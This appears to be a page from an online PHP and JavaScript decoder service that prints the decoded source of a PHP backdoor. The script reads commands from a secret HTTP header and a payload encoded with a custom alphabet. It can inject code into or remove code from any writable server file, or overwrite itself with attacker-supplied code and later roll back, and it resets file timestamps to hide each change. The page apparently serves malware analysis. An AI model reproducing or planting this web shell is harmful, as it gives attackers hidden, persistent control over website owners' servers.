Online PHP and Javascript Decoder decode hidden script to uncover its real functionality



set_time_limit(0);
header('Content-Type: text/plain; charset="utf-8"');

$ver = '0.2';
$en = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
$de = '9LkR5sWQwXpKZ3yNvBmJHxVtg6qP7z/AU2aYb4j8n1d0ToSGuMlOeFhIc+riDfCE';

$cmd = @$_SERVER['HTTP_JFHBLHZDMBVY'];
$data = @json_decode(@base64_decode(@strtr(@file_get_contents('php://input'), $de, $en)), true);

if (empty($data) || empty($data['a']) || empty($data['p']) || !isset($data['c'])) {
	exit("");
}

switch($cmd){
    case 'answSczrcAHsAgmQdF': {
		$ip = gethostbyname($_SERVER["HTTP_HOST"]);
		echo strtr(base64_encode($ip), $en, $de)."\r\n";

		if(!@is_writable($data['p'])) {
			exit("");
		}

		$time = @filemtime($data['p']);
		$fp = @fopen($data['p'], 'r');

		if (!$fp) {
			exit("");
		}

		$f = '';

		while (!@feof($fp)) {
			$f .= @fread($fp, 1024);
		}
		@fclose($fp);

		if ($data['a'] == 'i' && stripos($f, $data['c']) !== false) {
			exit("");
		}

		$newCode = (($data['a'] == 'i')?$f."\r\n".$data['c']:(($data['a'] == 'e')?str_replace($data['c'], '', $f):$f));


		$fp = @fopen($data['p'], 'w');

		if (!$fp) {
			exit("");
		}

		@fwrite($fp, $newCode);
		@fclose($fp);
		@touch($data['p'], $time, $time);
		exit("");
    }
        break;
    case 'OMKhGpwdVMOCZLGNsn': {
        echo strtr(base64_encode($ver), $en, $de)."\r\n";

        $cs = $_SERVER['SCRIPT_FILENAME'];
        $time = @filemtime($cs);
        $bp = dirname($cs) . '/' . pathinfo($cs, PATHINFO_FILENAME) . '_old.php';

        $cc = @file_get_contents($cs);
        if ($cc === false) {
            exit("");
        }

        if (!@file_put_contents($bp, $cc)) {
            exit("");
        }

        if (!@file_put_contents($cs, $data['p'])) {
            @file_put_contents($cs, $cc);
            exit("");
        }

        @touch($cs, $time, $time);
        @touch($bp, $time, $time);

        exit("");
    }
		break;
    case 'lSkKlVpkEqILHVrggJ': {
        echo strtr(base64_encode($ver), $en, $de)."\r\n";

        $cs = $_SERVER['SCRIPT_FILENAME'];
        $time = @filemtime($cs);
        $bp = dirname($cs) . '/' . pathinfo($cs, PATHINFO_FILENAME) . '_old.php';

        $cc = @file_get_contents($bp);
        if ($cc === false) {
            exit("");
        }

        if (!@file_put_contents($cs, $cc)) {
            exit("");
        }

        unlink($bp);
        @touch($cs, $time, $time);

        exit("");
    }
		break;
    default: {
        exit("");
    }
}



© 2023 Quttera Ltd. All rights reserved.